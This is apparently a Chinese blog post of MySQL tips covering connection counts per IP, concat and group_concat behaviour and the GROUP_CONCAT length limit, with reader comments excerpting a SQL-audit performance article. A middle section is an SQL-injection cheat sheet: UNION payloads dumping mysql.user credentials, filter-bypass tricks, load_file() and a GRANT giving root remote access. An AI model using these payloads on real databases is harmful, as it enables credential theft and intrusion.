=Start=
查看MySQL上每个IP的连接个数
要统计数据库的连接数,我们通常情况下是统计总数,没有细分到每个IP上。现在要监控每个IP的连接数,实现方式如下:
mysql> select SUBSTRING_INDEX(host,':',1) as ip, count(*) from information_schema.processlist group by ip; # /usr/local/bin/mysql -uroot -h127.0.0.1 -e"show processlist;" | awk -F: 'NR>1 {print $2}' | sort | uniq -c # /usr/local/bin/mysql -uroot -h127.0.0.1 --skip-column-names -e"show processlist;" | awk '{print $3}' | awk -F":" '{print $1}' | sort | uniq -c # --skip-column-names 不显示数据列的名字
==
这里主要想记录的是MySQL的concat、concat_ws和group_concat函数,顺带翻出来了一些之前看到的较好的MySQL注入方面的文章。
搜索关键字:
- mysql concat null
- mysql ifnull
- mysql concat concat_ws group_concat
- mysql load_file
- mysql limit offset performance optimization
- mysql information_schema
参考链接:
- http://stackoverflow.com/questions/1035819/concating-null-fields
- http://stackoverflow.com/questions/8530632/concat-values-in-mysql-queryto-handle-null-values
- http://stackoverflow.com/questions/15741314/mysql-concat-returns-null-if-any-field-contain-null
- =
- http://stackoverflow.com/questions/1174850/mysql-view-check-if-data-is-null
- http://stackoverflow.com/questions/17832906/how-to-check-if-field-is-null-or-empty-mysql
- =
- http://stackoverflow.com/questions/11889391/difference-between-group-concat-and-concat-ws
- http://www.percona.com/blog/2013/10/22/the-power-of-mysqls-group_concat/
- MySQL统计函数GROUP_CONCAT陷阱
- =
- http://stackoverflow.com/questions/8229951/load-file-doesnt-work
- =
- http://dev.mysql.com/doc/refman/5.5/en/limit-optimization.html
- http://stackoverflow.com/questions/1243952/how-can-i-speed-up-a-mysql-query-with-a-large-offset-in-the-limit-clause
- http://stackoverflow.com/questions/4481388/why-does-mysql-higher-limit-offset-slow-the-query-down
- MySQL的limit查询优化
- =
- http://www.thegeekstuff.com/2008/11/overview-of-mysql-information_schema-database-with-practical-examples/
- http://dev.mysql.com/doc/refman/5.5/en/information-schema.html
- https://dev.mysql.com/doc/refman/5.5/en/tables-table.html
- http://dba.stackexchange.com/questions/3335/how-is-information-schema-implemented-in-mysql
- =
- MySql注入科普 | WooYun知识库
- MYSQL注入完全总结
- MySQL数据库5.X版本基本手工注入总结
- =
- https://dev.mysql.com/doc/refman/5.5/en/dynindex-sysvar.html
- https://dev.mysql.com/doc/refman/5.5/en/dynindex-statvar.html
==MySQL统计函数GROUP_CONCAT陷阱==
最近在用MySQL做一些数据的预处理,经常会用到group_concat函数,比如类似下面一条语句
mysql>select aid,group_concat(bid) from tbl group by aid limit 1;
sql语句比较简单,按照aid分组,并且把相应的bid用逗号串起来。这样的句子大家可能都用过,也可能不会出问题,但是如果bid非常多的话,你就要小心了,比如下面的提示信息:
Query OK, XXX rows affected, 1 warning (3 min 45.12 sec)
怎么会有警告呢,打出来看看:
mysql> show warnings; +---------+------+--------------------------------------+ | Level | Code | Message | +---------+------+--------------------------------------+ | Warning | 1260 | 1 line(s) were cut by GROUP_CONCAT() | +---------+------+--------------------------------------+
居然被GROUP_CONCAT截断了我的结果,查了一下手册,原来GROUP_CONCAT有个最大长度的限制,超过最大长度就会被截断掉,你可以通过下面的语句获得:
mysql> SELECT @@global.group_concat_max_len; +-------------------------------+ | @@global.group_concat_max_len | +-------------------------------+ | 1024 | +-------------------------------+
1024这就是一般MySQL系统默认的最大长度,如果你的bid串起来大于这个就会出问题,好在有解决的办法:
1.在MySQL配置文件中加上
group_concat_max_len = 102400 #你要的最大长度
2.可以简单一点,执行语句
mysql> SET GLOBAL group_concat_max_len=102400; Query OK, 0 rows affected (0.01 sec)
再执行group_concat语句就不会出问题了,另外MySQL手册上还给出了group_concat的详细用法,给个示例你就明白了:
mysql>select aid,group_concat(bid order by bid separator ',') as bid_str from tbl group by aid;
还可以排序和设置分隔符,功能强大。
==
显示库基本信息 select 1,concat(user(),0x20,database(),0x20,version()),3,4-- 列库 select 1,group_concat(distinct table_schema),3,4 from information_schema.columns-- 列表 select 1,group_concat(distinct table_name),3,4 from information_schema.tables where table_schema=database()-- 查询列 select 1,group_concat(distinct column_name),3,4 from information_schema.columns where table_schema=database()-- 查询具体值 select 1,group_concat(user,0x20,password),3,4 from mysql.user-- select 1,concat(user,password),3,4 from mysql.user-- select concat(user(),0x20,ifnull(database(),'null'),0x20,version()); select concat_ws('|||',user(),database(),version()); select group_concat(user(),COALESCE(database(), 'NULL'),version()); select group_concat(user(),0x20,COALESCE(database(), 'NULL'),0x20,version()); select group_concat(user(),database(),version() SEPARATOR ','); #separator不起作用
==
1.注释符号
# Hash 语法 /* C-style 语法 -- SQL 语法(后面需要有一个空格) ;%00 空字节 ` 反引号
2.过滤空格注入
使用/**/或()或+代替空格 %0c = form feed, new page %09 = horizontal tab %0d = carriage return %0a = line feed, new line
3.多条数据显示
concat() group_concat() concat_ws()
4.相关系统函数
system_user() 系统用户名 user() 用户名 current_user() 当前用户名 session_user() 连接数据库的用户名 database() 数据库名 version() MYSQL数据库版本 load_file() MYSQL读取本地文件的函数 @@datadir 读取数据库路径 @@basedir MYSQL安装路径 @@version_compile_os 操作系统 GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;
5.mysql一般注入语句
猜字段数: order by n/*
=END=
《 “MySQL的一些tips总结_3” 》 有 8 条评论
查看MySQL中各个目录的位置:
`
SHOW VARIABLES WHERE Variable_Name LIKE “%dir”;
select @@datadir;
`
http://stackoverflow.com/questions/17968287/how-to-find-the-mysql-data-directory-from-command-line-in-windows
修改MySQL的提示符
`
$ vim ~/.bashrc
#MySQL
export MYSQL_PS1=”u@h [d]> ”
$ source ~/.bashrc
`
监控MySQL运行状态
http://yunlzheng.github.io/2018/04/02/use-prometheus-monitor-mysql/
手工 SQL 注入寻找技巧
https://gerbenjavado.com/manual-sql-injection-discovery-tips/
performance_schema全方位介绍
https://mp.weixin.qq.com/s/JkxaDkCIrM7wYErAs4SEzA
`
1、什么是performance_schema
2、performance_schema使用快速入门
2.1. 检查当前数据库版本是否支持
2.2. 启用performance_schema
2.3. performance_schema表的分类
2.4. performance_schema简单配置与使用
`
初相识|performance_schema全方位介绍(一)
https://mp.weixin.qq.com/s/hIMiOGTgUVg6pt6CDD1JjA
`
1、什么是performance_schema
2、performance_schema使用快速入门
2.1. 检查当前数据库版本是否支持
2.2. 启用performance_schema
2.3. performance_schema表的分类
2.4. performance_schema简单配置与使用
`
mysql中如何将一个字符串切分成多行?
https://stackoverflow.com/questions/17942508/sql-split-values-to-multiple-rows
`
select
tablename.id,
SUBSTRING_INDEX(SUBSTRING_INDEX(tablename.name, ‘,’, numbers.n), ‘,’, -1) name
from
(select 1 n union all
select 2 union all select 3 union all
select 4 union all select 5
) numbers
INNER JOIN tablename
on CHAR_LENGTH(tablename.name) – CHAR_LENGTH(REPLACE(tablename.name, ‘,’, ”)) >= numbers.n-1
order by
id, n
;
`
MySQL split comma-separated string into rows
https://gist.github.com/duanehutchins/c6000b367b3032b0b495c46b3bc370c8
Splitting Comma-Separated Values In MySQL
https://www.sisense.com/blog/splitting-comma-separated-values-in-mysql/
MySQL: split value in column to get multiple rows
https://dba.stackexchange.com/questions/57904/mysql-split-value-in-column-to-get-multiple-rows
How to Split Strings into Rows in MySQL
https://logic.edchen.org/how-to-split-strings-into-rows-in-mysql/
How to split and search in comma-separated string in MySQL
https://www.gyrocode.com/articles/how-to-split-and-search-in-comma-separated-values-in-mysql/
数据库全量SQL分析与审计系统性能优化之旅
https://tech.meituan.com/2022/06/09/the-route-of-database-get-audit-sql-optimize.html
`
个人点评:
在生产服务器使用基于pcap抓包、解包、SQL提取和脱敏的方式做SQL分析审计的方式方法确实比较low,也不符合发展趋势(最合适的点还是在Linux内核/各应用内核中进行数据输出,数据全面且性能损耗低,唯一的缺点就是对开发团队的要求高),但除了top级别的公司,绝大部分公司连这个功能和条件都达不到,想做好SQL审计就很难,当然了在那种条件下,安全团队和数据库团队肯定还有其它的更重要的问题要处理,这个都不算是高优问题了;对于大部分常规的业务来说,安全至多只是业务的一种(可有可无、有了更好的)属性,重要程度没那么高,安全团队要学会在资源有限的条件下做安全。
==
1 背景
数据库安全一直是美团信息安全团队和数据库团队非常注重的领域,但由于历史原因,对数据库的访问只具备采样审计能力,导致对于一些攻击事件无法快速地发现、定损和优化。安全团队根据历史经验,发现攻击访问数据库基本上都存在着某些特征,经常会使用一些特定SQL,我们希望通过对MySQL访问流量进行全量分析,识别出惯用SQL,在数据库安全性上做到有的放矢。
2 现状及挑战
下图是采样MySQL审计系统的架构图,数据采集端基于pcap抓包方式实现,数据处理端选用美团大数据中心的日志接入方案。所有MySQL实例都部署了用于采集MySQL相关数据的rds-agent、日志收集的log-agent。rds-agent抓取到MySQL访问数据,通过log-agent上报到日志接收端,为了减少延时,上报端与接收端间做了同机房调度优化。日志接收端把数据写入到约定的Kafka中,安全团队通过Storm实时消费Kafka分析出攻击事件,并定期拉数据持久化到Hive中。
3 分析及优化
下面主要介绍围绕丢失率与CPU消耗这一问题,我们对数据采集端在流程、调度、垃圾回收和协议方面做的分析与改进。
3.1 数据采集端介绍
首先,简要介绍一下数据采集端rds-agent,它是一个MySQL实例上的进程,采用Go语言编写,基于开源的MysqlProbe的Agent改造。通过监听网卡上MySQL端口的流量,分析出客户端的访问时间、来源IP、用户名、SQL、目标数据库和目标IP等审计信息。
3.2 基础性能测试
抓包库gopacket的性能直接决定了系统性能上限,为了探究问题是否出在gopacket上,我们编写了简易的tcp-client和tcp-server,单独对gopacket在数据流向图中涉及到的前三个步骤(如下图所示)进行了性能测试,从下面的测试结果数据上看,性能瓶颈点不在gopacket。
3.3 CPU画像分析
丢失率与CPU消耗二者密不可分,为了探究如此高CPU消耗的原因,我们用Go自带的pprof工具对进程的CPU消耗进行了画像分析,从下面火焰图的调用函数可以归纳出几个大头:SQL脱敏、解包、GC和Goroutine调度。下面主要介绍一下围绕它们做的优化工作。
3.4 脱敏分析及改进
因为SQL中可能包含敏感信息,出于安全考虑,rds-agent会对每一条SQL进行脱敏处理。
脱敏操作使用了pingcap的SQL解析器对SQL进行模板化:即把SQL中的值全部替换成“?”来达到目的,该操作需要解析出SQL的抽象语法树,代价较高。当前只有采样和抓取特定SQL的需求,没有必要在解析阶段对每条SQL进行脱敏。这里在流程上进行了优化,把脱敏下沉到上报模块,只对最终发送出去的样本脱敏。
3.5 调度分析及改进
从下面的数据流向图可以看出整个链路比较长,容易出现性能瓶颈点。同时存在众多高频运行的Goroutine(红色部分),由于数量多,Go需要经常在这些Goroutine间进行调度切换,切换对于我们这种CPU密集型的程序来说无疑是一种负担。
3.6 垃圾回收压力分析及改进
关于GC,我们了解到如下两种优化方案:
* 池化:Go的标准库中提供了一个sync.Pool对象池,可通过复用对象来减少对象分配,从而降低GC压力。
* 手动管理内存:通过系统调用mmap直接向OS申请内存,绕过GC,实现内存的手动管理。
3.7 解包分析及改进
MySQL是基于TCP协议之上的,在功能调试过程中,我们发现了很多空包。从下面的MySQL客户端-服务端数据的交互图可以看出:当客户端发送一条SQL命令,服务端响应结果,由于TCP的消息确认机制,客户端会发送一个空的ack包来确认消息,而且空包在整个流程中的比例较大,它们会穿透到解析环节,在高QPS下对于Goroutine调度和GC来说无疑是一个负担。
pcap支持设置过滤规则,让我们可以在内核层将空包排除掉。
4 最终成果
下面是优化前后的数据对比,丢失率从最高60%下降到了0%, CPU消耗从最高占用6个核下降到了1个核。
为了探究抓包功能对MySQL性能损耗,我们用Sysbench做了一个性能对比测试。从下面的结果数据可以看出功能对MySQL的TPS、QPS和响应时间99线指标最高大约有6%的损耗。
5 未来规划
虽然我们对抓包方案进行了各种优化,但对于一些延迟敏感的业务来说性能损耗还是偏大,而且该方案对一些特殊场景支持较差:如TCP协议层发生丢包、重传、乱序时,MySQL协议层使用压缩、传输大SQL时。而业界普遍采用了直接改造MySQL内核的方式来输出全量SQL,同时也支持输出更多的指标数据。目前,数据库内核团队也完成了该方案开发,正在线上灰度替换抓包方案中。另外,对于线上全量SQL端到端丢失率指标的缺失,我们也将陆续进行补齐。
`